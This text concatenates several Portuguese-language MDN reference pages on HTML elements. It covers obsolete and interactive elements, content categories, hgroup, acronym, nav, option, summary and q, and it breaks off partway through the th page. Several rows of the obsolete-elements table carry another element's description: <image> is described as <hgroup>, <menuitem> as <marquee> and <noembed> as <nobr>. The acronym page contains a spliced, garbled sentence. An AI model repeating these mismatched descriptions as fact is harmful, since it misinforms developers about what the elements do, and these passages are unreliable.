interativos\n---------------------\n\nHTML oferece uma seleção de elementos que auxiliam na criação de objetos interativos de interface para usuários.\n\n| Element | Description |\n| --- | --- |\n| `<details>` | O elemento HTML *details* (`<details>`) é usado como uma ferramenta de onde o usuário irá obter informações adicionais. |\n| `<dialog>` | O **elemento HTML `<dialog>`** representa uma caixa de diálogo ou outro componente interativo, tal como um inspetor ou janela. |\n| `<summary>` | O elemento HTML *summary* (`<summary>`) é utilizado como um sumário ou legenda para o conteúdo de um elemento `<details>`. |\n\nComponentes Web\n---------------\n\nComponentes Web são uma tecnologia relacionada a HTML que faz possível, essencialmente, a criação e customização de elementos como se fossem parte normal do HTML. Além disso, se pode criar versões customizadas de elementos padrão do HTML.\n\n> \n> **Note:** **Observação:** Os elementos pertencentes aos Componentes Web são definidos na coleção de especificações dos Componentes Web da World Wide Web Consortium (W3C) em vez da específicação do HTML. Além disso, a especificação dos Componentes Web ainda não foi finalizada e está sujeita a mudanças.\n> \n> \n> \n\n| Element | Description |\n| --- | --- |\n| `<slot>` (en-US) | Part of the Web Components technology suite, this element is a placeholder inside a web component that you can fill with your own markup, which lets you create separate DOM trees and present them together. |\n| `<template>` | O elemento **HTML `<template>`** é um mecanismo para encapsular um conteúdo do lado do cliente que não é renderizado quando a página é carregada, mas que pode ser instanciado posteriormente em tempo de execução usando JavaScript. |\n\nElementos obsoletos\n-------------------\n\n> \n> **Warning:** **Aviso:** Estes elementos HTML antigos são obsoletos e não devem mais ser usados. **Você deve sempre evitar usa-los em novos projetos, e deve substitui-los assim que possível.** Eles estão listados apenas por motivos educacionais.\n> \n> \n> \n\n| Element | Description |\n| --- | --- |\n| `<acronym>` | O Elemento HTML Acrônimo (`<acronym>)` permite à autores claramente indicar que uma seqüência de caracteres compõe um acrônimo ou uma abreviação de uma palavra. |\n| `<applet>` | The HTML Applet Element (`<applet>`) identifies the inclusion of a Java applet. |\n| `<bgsound>` (en-US) | Sets up a sound file to play in the background while the page is used; use `<audio>` instead. |\n| `<big>` | The obsolete **HTML Big Element** (**`<big>`**) renders the enclosed text at a font size one level larger than the surrounding text (`medium` becomes `large`, for example). The size is capped at the browser's maximum permitted font size. |\n| `<center>` | O elemento **Center do HTML** (**`<center>`**) se tornou obsoleto, é um elemento de nível de bloco que exibe o conteúdo em nível de bloco ou em linha centralizado horizontalmente dentro do elemento que o contém. O contêiner `<body>` geralmente está presente, mas não é necessário. Essa tag foi descontinuada no HTML 4 (e XHTML 1) em favor da propriedade CSS `text-align`, que pode ser aplicada ao elemento `<div>` ou à um paragráfo indivídual `<p>`. Para blocos de centralização, use outras propriedades CSS como `margin-left` (en-US) e `margin-right` (en-US) e defina-as como `auto` (ou defina `margin` para `0 auto`). |\n| `<content>` (en-US) | The **HTML `<content>` element**—an obsolete part of the Web Components suite of technologies—was used inside of Shadow DOM (en-US) as an insertion point, and wasn't meant to be used in ordinary HTML. It has now been replaced by the `<slot>` (en-US) element, which creates a point in the DOM at which a shadow DOM can be inserted. |\n| `<dir>` | O elemento de diretório HTML obsoleto (**`<dir>`**) é usado como um contêiner para um diretório de arquivos e/ou pastas, potencialmente com estilos e ícones aplicados pelo user agent (en-US). Não use este elemento obsoleto; em vez disso, você deve usar o `<ul>` elemento para listas, incluindo listas de arquivos. |\n| `<font>` (en-US) | Defines the font size, color and face for its content. |\n| `<frame>` (en-US) | Defines a particular area in which another HTML document can be displayed. A frame should be used within a `<frameset>` (en-US). |\n| `<frameset>` (en-US) | Used to contain `<frame>` (en-US) elements. |\n| `<image>` (en-US) | O \\*\\*elemento HTML `<hgroup>` \\*\\*destina-se a agrupar cabeçalhos de diferentes níveis para uma seção do documento. Ele agrupa (é um container para) um conjunto de elementos `<h1>–<h6>`. |\n| `<marquee>` | Used to insert a scrolling area of text. You can control what happens when the text reaches the edges of its content area using its attributes. |\n| `<menuitem>` (en-US) | O elemento html <marquee> é usado para inserir uma área de rolagem de texto\"scrolling\" , similar a um letreiro. Você pode controlar o comportamento do conteúdo fornecendo alguns atributos extras. |\n| `<nobr>` | Prevents the text it contains from automatically wrapping across multiple lines, potentially resulting in the user having to scroll horizontally to see the entire width of the text. |\n| `<noembed>` (en-US) | `O elemento HTML <nobr>` previne que um texto quebre em uma nova linha automaticamente, de forma que ele seja exibido em uma única grande linha, podendo tornar o *scroll* (horizontal) necessário. Esta tag não é padrão HTML e não deve ser usada. Como alternativa, use a propriedade CSS `white-space` como segue: |\n| `<noframes>` (en-US) | Provides content to be presented in browsers that don't support (or have disabled support for) the `<frame>` (en-US) element. Although most commonly-used browsers support frames, there are exceptions, including certain special-use browsers including some mobile browsers, as well as text-mode browsers. |\n| `<param>` (en-US) | Defines parameters for an `<object>` (en-US) element. |\n| `<plaintext>` (en-US) | Renders everything following the start tag as raw text, ignoring any following HTML. There is no closing tag, since everything after it is considered raw text. |\n| `<rb>` (en-US) | Used to delimit the base text component of a ruby annotation, i.e. the text that is being annotated. One `<rb>` element should wrap each separate atomic segment of the base text. |\n| `<rtc>` (en-US) | Embraces semantic annotations of characters presented in a ruby of `<rb>` (en-US) elements used inside of `<ruby>` element. `<rb>` (en-US) elements can have both pronunciation (`<rt>` (en-US)) and semantic (`<rtc>` (en-US)) annotations. |\n| `<shadow>` | An obsolete part of the Web Components technology suite that was intended to be used as a shadow DOM insertion point. You might have used it if you have created multiple shadow roots under a shadow host. |\n| `<spacer>` | Allows insertion of empty spaces on pages. It was devised by Netscape to accomplish the same effect as a single-pixel layout image, which was something web designers used to use to add white spaces to web pages without actually using an image. However, `<spacer>` is no longer supported by any major browser and the same effects can now be achieved using simple CSS. |\n| `<strike>` (en-US) | Places a strikethrough (horizontal line) over text. |\n| `<tt>` (en-US) | Creates inline text which is presented using the user agent default monospace font face. This element was created for the purpose of rendering text as it would be displayed on a fixed-width display such as a teletype, text-only screen, or line printer. |\n| `<xmp>` (en-US) | Renders text between the start and end tags without interpreting the HTML in between and using a monospaced font. The HTML2 specification recommended that it should be rendered wide enough to allow 80 characters per line. |"}
{"title":"Categorias de conteúdo - HTML: Linguagem de Marcação de Hipertexto","text":"Categorias de conteúdo\n======================\n\nCada elemento HTML deve permanecer, por regras, definindo que tipo de conteúdo ele pode ter. Essas regras estão agrupadas em modelos de conteúdo para muitos elementos. Cada elemento HTML pertence a nenhum, um, ou múltiplos modelos de conteúdo, cada regra de definição que o conteúdo do elemento deve seguir em um documento HTML.\n\nHá três tipos de categorias de conteúdo:\n\n* Principais categorias de conteúdo, as quais descrevem regras comuns de conteúdo compartilhado por vários elementos;\n* Categorias de conteúdo relacionado, as quais decrevem regras comuns de conteúdo para elementos relacioados;\n* Categorias de conteúdo específico, as quais descrevem categorias raras compartilhadas somente por poucos elementos, às vezes apenas em um contexto específico.\n\n![Content_categories_venn.png](/pt-BR/docs/Web/HTML/Content_categories/content_categories_venn.png)\n\nPrincipais categorias de conteúdo\n---------------------------------\n\n### Conteúdo de metadados\n\nOs elementos pertencentes a categoria *conteúdo de metadados* modificam a apresentação ou o comportamento do resto do documento, define ligações para outros documentos ou transmite outras informações *fora da banda.*\n\nOs elementos pertencentes a essa categoria são `<base>`, `<command>`, `<link>`, `<meta>`, `<noscript>`, `<script>`, `<style>` e `<title>`.\n\n### Conteúdo de fluxo\n\nElementos pertencentes a categoria de conteúdo de fluxo tipicamente contém texto ou conteúdo embutido. Eles são: `<a>`, `<abbr>`, `<address>`, `<article>`, `<aside>`, `<audio>`, `<b>`,`<bdo>`, `<bdi>`, `<blockquote>`, `<br>`, `<button>`, `<canvas>`, `<cite>`, `<code>`, `<command>`, `<data>` (en-US), `<datalist>`, `<del>`, `<details>`, `<dfn>`, `<div>`, `<dl>`, `<em>`, `<embed>`, `<fieldset>`, `<figure>`, `<footer>`, `<form>` (en-US), `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US), `<header>`, `<hgroup>`, `<hr>`, `<i>`, `<iframe>`, `<img>`, `<input>`, `<ins>` (en-US), `<kbd>` (en-US), `<label>`, `<main>`, `<map>`, `<mark>`, `<math> (en-US)`, `<menu>` (en-US), `<meter>`, `<nav>`, `<noscript>`, `<object>` (en-US), `<ol>`, `<output>`, `<p>`, `<pre>`, `<progress>`, `<q>`, `<ruby>`, `<s>`, `<samp>` (en-US), `<script>`, `<section>`, `<select>`, `<small>` (en-US), `<span>`, `<strong>`, `<sub>` (en-US), `<sup>` (en-US), `<svg>`, `<table>`, `<template>`, `<textarea>`, `<time>`, `<ul>`, `<var>`, `<video>`, `<wbr>` e Text.\n\nAlguns outros elementos pertencem a essa categoria, mas somente se uma condição específica é realizada:\n\n* `<area>`, se for um descendente de um elemento `<map>`\n* `<link>`, se o atributo **itemprop (en-US)** estiver presente\n* `<meta>`, se o atributo **itemprop (en-US)** estiver presente\n* `<style>`, se o atributo `scoped` estiver presente\n### Conteúdo de seccionamento\n\nOs elementos pertencentes ao modelo de conteúdo de seccionamento criam uma seção no esboço atual que define o escopo dos elementos `<header>`, elementos `<footer>` e na conteúdo do cabeçalho.\n\nElementos pertencentes a essa categoria são `<article>`, `<aside>`, `<nav>` e `<section>`.\n\n**Nota:** Não confunda esse modelo de conteúdo com a categoria de seccionamento raiz que isola seus conteúdos dos esboços regulares.\n\n### Conteúdo do cabeçalho\n\nO conteúdo do cabeçalho define o título de uma seção, se é marcada por um explícito elemento do conteúdo de seccionamento ou implicitamente definido pelo próprio conteúdo do cabeçalho.\n\nOs elementos pertencentes a essa categoria são `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US) e `<hgroup>`.\n\n**Nota:** Embora provavelmente contenha algum conteúdo do cabeçalho, o `<header>` não faz parte do conteúdo do cabeçalho em si.\n\n### Conteúdo fraseado\n\nO conteúdo fraseado define o texto e a marcação que ele contém. Séries de conteúdos fraseados compõem parágrafos.\n\nOs elementos pertencentes a essa categoria são `<abbr>`, `<audio>`, `<b>`, `<bdo>`, `<br>`, `<button>`, `<canvas>`, `<cite>`, `<code>`, `<command>`, `<datalist>`, `<dfn>`, `<em>`, `<embed>`, `<i>`, `<iframe>`, `<img>`, `<input>`, `<kbd>` (en-US), `<label>`, `<mark>`, `<math> (en-US)`, `<meter>`, `<noscript>`, `<object>` (en-US), `<output>`, `<progress>`, `<q>`, `<ruby>`, `<samp>` (en-US), `<script>`, `<select>`, `<small>` (en-US), `<span>`, `<strong>`, `<sub>` (en-US), `<sup>` (en-US), `<svg>`, `<textarea>`, `<time>`, `<var>`, `<video>`, `<wbr>` e texto simples (não consistindo somente de caracteres de espaço em branco).\n\nAlguns outros elementos pertencem a essa categoria, mas somente se uma condição específica é realizada:\n\n* `<a>`, se contém somente conteúdo fraseado\n* `<area>`, se for um descendente de um elemento `<map>`\n* `<del>`, se contém somente conteúdo fraseado\n* `<ins>` (en-US), se contém somente conteúdo fraseado\n* `<link>`, se o atributo **itemprop** (en-US) estiver presente\n* `<map>`, se contém somente conteúdo fraseado\n* `<meta>`, se o atributo **itemprop** (en-US) estiver presente\n### Conteúdo embutido\n\nO conteúdo embutido importa outro recurso ou insere conteúdo de uma outra linguagem de marcação no documento. Os elementos que pertencem a essa categoria incluem: `<audio>`, `<canvas>`, `<embed>`, `<iframe>`, `<img>`, `<math> (en-US)`, `<object>` (en-US), `<svg>` e `<video>`.\n\n### Conteúdo interativo\n\nO conteúdo interativo inclui elementos que são especificamente desenvolvidos para a interação do usuário. Os elementos que pertencem a essa categoria incluem: `<a>`, `<button>`, `<details>`, `<embed>`, `<iframe>`, `<label>`, `<select>`, e `<textarea>`. Alguns elementos pertencem a essa categoria somente sob condições específicas:\n\n* `<audio>`, se o atributo `controls` estiver presente\n* `<img>`, se o atributo `usemap` estiver presente\n* `<input>`, se o atributo `type` não estiver no modo escondido\n* `<menu>` (en-US), se o atributo `type` (en-US) estiver no modo barra de ferramentas\n* `<object>` (en-US), se o atributo `usemap` (en-US) estiver presente\n* `<video>`, se o atributo `controls` estiver presente\n### Conteúdo associado ao **form**\n\nO conteúdo associado ao **form** compreende elementos que têm um formulário de proprietário, exposto por um atributo **form**. Um formulário de proprietário é ou um elemento `<form>` (en-US) ou o elemento o qual o ID é especificado no atributo **form**.\n\n* `<button>`\n* `<fieldset>`\n* `<input>`\n* `<label>`\n* `<meter>`\n* `<object>` (en-US)\n* `<output>`\n* `<progress>`\n* `<select>`\n* `<textarea>`\n\nEssa categoria contém várias sub-categorias:\n\nlisted\n\nElementos que estão listados nas coleções IDL form.elements (en-US) e fieldset.elements. Contém `<button>`, `<fieldset>`, `<input>`, `<object>` (en-US), `<output>`, `<select>` e `<textarea>`.\n\nlabelable\n\nElementos que podem ser associados com elementos `<label>`. Contém `<button>`, `<input>`, `<meter>`, `<output>`, `<progress>`, `<select>` e `<textarea>`.\n\nsubmittable\n\nElementos que podem ser usados para construir o formulário de dados quando o formulário é enviado. Contém `<button>`, `<input>`, `<object>` (en-US), `<select>`, e `<textarea>`.\n\nresettable\n\nElementos que podem ser afetados quando um formulário é reinicializado. Contém `<input>`, `<output>`,`<select>` e `<textarea>`.\n\nModelo de conteúdo transparente\n-------------------------------\n\nSe um elemento tem um modelo de conteúdo transparente, então seu conteúdo deve ser estruturado de tal forma que ele seja um HTML5 válido, mesmo se o elemento transparente for removido e substituído pelos elementos filhos.\n\nPor exemplo, os elementos `<del>` e `<ins>` (en-US) são transparentes:\n```\n\n<p>We hold these truths to be <del><em>sacred &amp; undeniable</em></del> <ins>self-evident</ins>.</p>\n```\n\n\nSe aqueles elementos forem removidos, esse fragmento continuaria sendo um HTML válido.\n```\n\n<p>We hold these truths to be <em>sacred &amp; undeniable</em> self-evident.</p>\n```\n\nOutros modelos de conteúdo\n--------------------------\n\nRaiz de secionamento."}
{"title":"<hgroup> - HTML: Linguagem de Marcação de Hipertexto","text":"<hgroup>\n========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO \\*\\*elemento HTML `<hgroup>` \\*\\*destina-se a agrupar cabeçalhos de diferentes níveis para uma seção do documento. Ele agrupa (é um container para) um conjunto de elementos `<h1>–<h6>`.\n\n|  |  |\n| --- | --- |\n| Categorias de conteudo | Flow content (en-US), heading content, palpable content. |\n| Conteúdo permitido | \n One or more `<h1>` (en-US), `<h2>` (en-US),\n `<h3>` (en-US), `<h4>` (en-US),\n `<h5>` (en-US), and/or `<h6>` (en-US).\n  |\n| Omissão de tag | None, both the starting and ending tag are mandatory. |\n| Elementos-pai permitidos | \n Any element that accepts\n flow content (en-US).\n  |\n| DOM interface | `HTMLElement` (en-US) |\n\natributos\n---------\n\nEsse elemento admite apenas os global attributes (en-US) (atributos globais)\n\nNotas sobre o uso\n-----------------\n\n> \n> \n> **Note:** O elemento `<hgroup>` foi removido da especificação do W3C para a HTML5, mas ainda se encontra na especificação HTML do WHATWG. Foi parcialmente implementado na maioria dos navegadores, contudo é pouco provável que seja incluído na especificação.\n>  Considerando que a finalidade do elemento `<hgroup>` é a de definir a maneira como os títulos serão mostrados pelo outline algorithm definido na especificação da HTML (en-US) e considerando ainda que o **outline algorithm da HTML não está implementado em nenhum navegador**, conclui-se que, na prática, a semântica do elemento `<hgroup>` é meramente teórica.\n>  A especificação do W3C para a HTML5 fornece algumas sugestões para a marcação de Subheadings, subtitles, alternative titles and taglines sem que se use o elemento `<hgroup>`.\n>  \n> \n> \n> \n\n`O elemento <hgroup> permite que o cabeçalho principal de uma seção de documento seja agrupado com quaisquer cabeçalhos secundarios-como subtitulos ou titulos alternativos-para formatar um cabeçalho de varios niveis.`\n\nEm outras palavras o elemento <hgroup> impede que qualquer um dos seus filhos secundarios <h1>-<h6> crie seçoes separadas propias no esboço-como esses elementos <h1>-<h6> normalmene seriam se não fossem filhos de nenhum <hgroup>\n\nEntão, no esboço abstrato produzida pelo algortimo abstrato do HTML definido na especificação HTML, o <hgroup> como um todo forma uma posição lógica simples, com todo o conjunto de filhos <h1>-<h6> do <hgroup> entrando no esquema como uma unidade multinível, para compreender esse cabeçalho lógico único no resumo abstrato.\n\nPara produzir alguma (não-abstrato) visualização não renderizada como um esboço, alguma escolhe deve ser feita no design para renderizar ferramentas sobre como renderizar <hgroup> cabeçalhos como um jeito para transmitir sua natureza multi-nível. Há uma varidade de jeitos que <hgroup> pode ser mostrado em um esboço renderizado; por exemplo:\n\n* um <hgroup> pode ser mostrado em um esboço renderizado com dois pontos e espaço (\": \") ou outra pontuação após o cabeçalho principal e antes do primeiro cabeçalho secundário (e como a mesma pontuaçã, ou parecida, antes de qualquer cabeçalho secundário).\n* um <hgroup> pode ser mostrado em um esboço renderizado com o primeiro cabeçalho seguido de parênteses ao redor do segundo cabeçalho (s).\n\nConsidere o documento HTML a seguir:\n\n\n```html\n<!doctype html>\n<title>HTML Standard</title>\n<body>\n  <hgroup id=\"document-title\">\n    <h1>HTML</h1>\n    <h2>Living Standard — Last Updated 12 August 2016</h2>\n  </hgroup>\n  <p>Some intro to the document.</p>\n  <h2>Table of contents</h2>\n  <ol id=\"toc\">\n    ...\n  </ol>\n  <h2>First section</h2>\n  <p>Some intro to the first section.</p>\n</body>\n```\n\n\nUm esboço renderizado para esse documento seria como:\n\n![](/pt-BR/docs/Web/HTML/Element/hgroup/outline-colon.png)\n\nIsso é, o esboço renderizado deve ser o título primário, HTML, seguido por dois pontos e espaço, seguido pelo título secundário, Living Standard - Last Update 12 August 2016.\n\nOu, o esboço renderizado para aquele documento poderia ser como:\n\n![Rendered outline that includes an 'hgroup' element, with parens around the secondary heading](/pt-BR/docs/Web/HTML/Element/hgroup/outline-paren.png)\n\nIsso é, o esboço renderizado deve mostrar o título primário, HTML, seguido pelo título secundário mostrado entre parênteses: (Living Standard - Last Updated 12 August 2016).\n\nExemplos\n--------\n\n\n```html\n<hgroup id=\"document-title\">\n  <h1>HTML</h1>\n  <h2>Living Standard — Last Updated 12 August 2016</h2>\n</hgroup>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-hgroup-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Others section-related elements: `<body>`, `<article>`, `<section>`, `<aside>`, `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US), `<nav>`, `<header>`, `<footer>`, `<address>`;\n* Sections and outlines of an HTML5 document."}
{"title":"<acronym> - HTML: Linguagem de Marcação de Hipertexto","text":"<acronym>\n=========\n\nResumo\n------\n\nO Elemento HTML Acrônimo (`<acronym>)` permite à autores claramente indicar que uma seqüência de caracteres compõe um acrônimo ou uma abreviação de uma palavra.\n\n> \n> **Note:** Este elemento foi removido no HTML5 e não deve ser usado mais. Ao invés dele, desenvolvedores devem usar o elemento `<abbr>`.\n> \n> \n> \n\nAtributos\n---------\n\nEste elemento não possui qualquer outro atributo além dos atributos globais (en-US), comuns à todos os elementos.\n\nInterface DOM\n-------------\n\nEste elemento implementa a interface `HTMLElement` (en-US).\n\n> \n> **Note:** **Nota de implementação:** Após o Gecko 1.9.2 inclusive, Firefox implementa a interface `HTMLSpanElement` para este elemento.\n> \n> \n> \n\nExemplo\n-------\n\n\n```html\n<p>\n  A <acronym title=\"World Wide Web\">WWW</acronym> é somente um dos componentes\n  da Internet.\n</p>\n```\n\nEstilo padrão\n-------------\n\nEmbo is purely for the convenira o propósito desta tag seja meramente a conveniência dos autores, seu estilo padrão varia entre diferentes navegadores:\n\n* Alguns navegadores, como o Internet Explorer, não criam qualquer estilo diferente do de um elemento `<span>`.\n* Opera, Firefox, e alguns outros adicionam um sublinhado pontilhado no conteúdo do elemento.\n* Alguns poucos navegadores não somente adicionam um sublinhado pontilhado, mas também colocam o conteúdo em versalete (small caps); para evitar este estilo, adicione algo como `font-variant` (en-US)`: none` no CSS que cuida deste caso.\n\nÉ portanto fortemente recomendado que autores web não confiem no estilo padrão do navegador para este elemento.\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* O elemento HTML `<abbr>`"}
{"title":"nav - HTML: Linguagem de Marcação de Hipertexto","text":"nav\n===\n\nSumário\n-------\n\nO *Elemento* *HTML* *de Navegação* (`<nav>`) representa uma seção de uma página que aponta para outras páginas ou para outras áreas da página, ou seja, uma seção com links de navegação.\n\n> \n> **Note:** *Notas de utilização:*\n> \n> \n> * Nem todos os links de um documento devem estar dentro de um elemento `<nav>`, o qual é destinado apenas para grupos importantes de links de navegação; tipicamente o elemento `<footer>` contém uma lista de links que não precisam estar em um elemento `<nav>`.\n> * Um documento pode ter vários elementos `<nav>`, por exemplo, um para navegação no site e outro para navegação dentro da página.\n> * Agentes de usuário, como leitores de tela para usuários deficientes, podem utilizar este elemento para determinar se a renderização inicial do conteúdo do mesmo deve ser omitida.\n> \n> \n> \n\nContexto de uso\n---------------\n\n| Conteúdo permitido | Conteúdo de fluxo |\n| --- | --- |\n| Omissão de tag | Nenhuma, tanto a tag de início quanto a de fim são obrigatórias |\n| Elementos-pai permitidos | Quaisquer elementos que permitam conteúdo de fluxo. Note que um elemento `<nav>` não deve descender de um elemento `<address>`. |\n| Documento normativo | HTML5, seção 4.4.3 |\n\nAtributos\n---------\n\nEste elemento não possui outros atributos além dos atributos globais, comuns a todos os elementos.\n\nInterface DOM\n-------------\n\nEste elemento implementa a interface `HTMLElement`.\n\nExemplos\n--------\n\n\n```html\n<nav>\n  <ul>\n    <li><a href=\"#\">Página inicial</a></li>\n    <li><a href=\"#\">Sobre</a></li>\n    <li><a href=\"#\">Contato</a></li>\n  </ul>\n</nav>\n```\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos relacionados à seções: `<body>`, `<article>`, `<section>`, `<aside>`, `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US), `<hgroup>`, `<header>`, `<footer>`, `<address>`;\n* Seções e esboços de um documento HTML5"}
{"title":"<option> - HTML: Linguagem de Marcação de Hipertexto","text":"<option>\n========\n\nSumário\n-------\n\nEm um formulário Web, o **elemento HTML** `<option>` é usado para criar um controle que representa um item dentro de um elemento HTML5 `<select>`, `<optgroup>` ou `<datalist>`.\n\n* *Categorias de conteúdo* Nenhuma.\n* *Conteúdo permitido* Texto com caracteres escapados (como `&eacute;`) ocasionalmente.\n* *Omissão de tags* A tag de abertura é obrigatória. A tag de fechamento é opcional se este elemento é imediatamente seguido por um outro elemento `<option>` ou um `<optgroup>`, ou se o elemento pai não tem mais nenhum conteúdo.\n* *Elementos pai permitidos* `<select>`, `<optgroup>` ou `<datalist>`.\n* *Interface DOM* `HTMLOptionElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais.\n\n`disabled`\n\nSe este atributo booleano estiver definido, esta opção não é selecionável. Frequentemente navegadores acinzentam este tipo de controle, e ele deixa de receber quaisquer eventos de navegação, como cliques do mouse ou eventos relacionados a foco. Se este atributo não estiver definido, o elemento ainda pode ser desabilitado se um de seus ancestrais é um elemento `<optgroup>` desabilitado.\n\n`label`\n\nEste atributo é o texto para o rótulo indicando o significado da opção. Se o atributo **label** não estiver definido, seu valor é o conteúdo de texto do elemento.\n\n> \n> **Note:** O atributo **label** é projetado para conter um rótulo curto tipicamente usado num menu hierárquico. O atributo **value** descreve descreve um rótulo maior, designado para ser usado perto de um botão de escolha, por exemplo.\n> \n> \n> \n\n`selected`\n\nSe presente, este atributo booleano indica que a opção está selecionada inicialmente. Se o elemento `<option>` for descendente de um elemento `<select>` cujo atributo `multiple` não está definido, apenas um único `<option>` deste elemento `<select>` pode ter o atributo **selected**.\n\n`value`\n\nO conteúdo textual deste atributo representa o rótulo que explica a opção. Se ele não estiver definido, seu valor padrão é o texto contido no elemento.\n\n> \n> **Note:** O atributo **label** é projetado para conter um rótulo curto tipicamente usado num menu hierárquico. O atributo **value** descreve descreve um rótulo maior, designado para ser usado perto de um botão de escolha, por exemplo.\n> \n> \n> \n\nExemplos\n--------\n\nVeja os exemplos do elemento `<select>`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-option-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos relacionados a formulários: `<form>` (en-US), `<legend>`, `<label>`, `<button>`, `<select>`, `<datalist>`, `<optgroup>`, `<fieldset>`, `<textarea>`, `<input>`, `<output>`, `<progress>` e `<meter>`."}
{"title":"summary - HTML: Linguagem de Marcação de Hipertexto","text":"summary\n=======\n\nSumário\n-------\n\nO elemento HTML *summary* (`<summary>`) é utilizado como um sumário ou legenda para o conteúdo de um elemento `<details>`.\n\n**Nota:** Se o elemento `<summary>` for omitido, o cabeçalho \"details\" será utilizado.\n\nContexto de uso\n---------------\n\n| Conteúdo permitido | Phrasing content |\n| --- | --- |\n| Omissão de tag | Nenhuma, tanto as tags iniciais quanto as finais devem estar presentes. |\n| Elementos pai permitidos | O elemento `<details>`. |\n| Documentos normativos | HTML5, section 4.11.2 |\n\nAtributos\n---------\n\nComo todos os outros elementos HTML, esse elemento possui os atributos globais.\n\nInterface do DOM\n----------------\n\nEsse elemento implementa a interface `HTMLElement`.\n\nExemplos\n--------\n\nVeja a página `<details>` para ver exemplos com `<summary>`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<details>`"}
{"title":"<q> - HTML: Linguagem de Marcação de Hipertexto","text":"<q>\n===\n\nO elemento HTML <q> indica que o texto dentro da tag é uma pequena citação. Este elemento destina-se a citações curtas que não requerem marcações de parágrafo; para citações maiores use o elemento `<blockquote>`.\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo (en-US) | Fluxo de conteúdo (en-US),\n conteúdo textual (en-US), conteúdo palpável.\n  |\n| Conteúdo permitido | Conteúdo textual (en-US). |\n| Omissão de tag | None, both the starting and ending tag are mandatory. |\n| Parents permitidos | \n Qualquer elemento que aceite\n conteúdo textual (en-US).\n  |\n| Atributos ARIA permitidos | Qualquer |\n| Interface DOM | `HTMLQuoteElement` (en-US) |\n\n**Nota:** A maioria dos browsers modernos adicionará automaticamente marcas de citação em volta do texto dentro de um elemento `<q>`. Talvez seja necessário criar uma regra de estilo para adicionar marcas de citação em browsers antigos.\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`cite`\n\nO valor deste atributo é uma URL que designa uma fonte ou mensagem para a informação citada. A intenção deste atributo é indicar a informação e explicar o contexto ou referência para a citação.\n\nExemplo\n-------\n\n### Conteúdo HTML\n\n\n```html\n<p>\n  According to Mozilla's website,\n  <q cite=\"https://www.mozilla.org/pt-BR/about/history/details/\"\n >Firefox 1.0 was released in 2004 and became a big success.</q\n >\n</p>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-q-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O elemento `<blockquote>` para longas citações.\n* O elemento `<cite>` para citar fontes."}
{"title":"<th> - HTML: Linguagem de Marcação de Hipertexto","text":"<th>\n====\n\nO **elemento HTML `<th>`** define uma célula cabeçalho do grupo de células de sua tabela. A exatidão natural deste grupo é definida pelos atributos `scope` e `headers`.\n\nExperimente\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias do conteúdo | Nenhuma. |\n| Conteúdo permitido | Conteúdo de fluxo, mas sem descendentes de cabeçalho, rodapé, conteúdo de seção ou\n conteúdo de cabeçalho.\n  |\n| Omissão de tag | \n A tag de abertura é obrigatória.A tag de fechamento pode ser\n omitida, se for imediatamente seguido por um\n `<th>`, `<td>` (en-US) ou se não\n houver mais dados em seu elemento pai.\n  |\n| Elemento pai | Um elemento `<tr>` (en-US). |\n| Funções ARIA permitidas | Qualquer |\n| DOM interface | `HTMLTableHeaderCellElement` (en-US) |\n\nAtributos\n---------\n\nEsse elemento inclui os atributos globais.\n\n`abbr`\n\nEste atributo contém uma breve descrição do conteúdo da célula. Alguns usuários-agentes, como leitores, pode apresentar essa descrição antes do próprio conteúdo.\n\n`colspan`\n\nEste atributo contém um valor inteiro não negativo que indica quantas colunas a célula ocupará. Valor padrão `1`. Valores acima de 1000 são considerados incorretos e serão modificados para o valor padrão `1`.\n\n`headers`\n\nEste atributo contém uma lista de palavras separadas por espaço, cada uma correspondendo ao atributo **id** dos elementos `<th>` que se aplicam a este elemento.\n\n`rowspan`\n\nEste atributo contém um valor inteiro não negativo que indica quantas linhas a célula estende. Valor padrão `1`. Se seu valor é definido como `0`, ele se estende até o final da tabela (`<thead>` (en-US), `<tbody>` (en-US), `<tfoot>`, mesmo que implicitamente definido), que a célula pertence. Não é possível colocar valores superiores a 65534.\n\n`scope`\n\n Este atributo define as células a que o cabeçalho (definido no elemento `<th>`) se relaciona.\n Possíveis valores:\n\n\n* `row`: O cabeçalho se relaciona com todas as células da linha a que pertence.\n* `col`: O cabeçalho se relaciona com todas as células da coluna a que pertence.\n* `rowgroup`: O cabeçalho pertence a um grupo de linhas e se relaciona com todas as suas células. Essas células podem ser colocadas à direita ou à esquerda do cabeçalho, dependendo do valor do atributo `dir` (en-US) no elemento `<table>`.\n* `colgroup`: O cabeçalho pertence a um grupo de colgroup e se relaciona com todas as suas 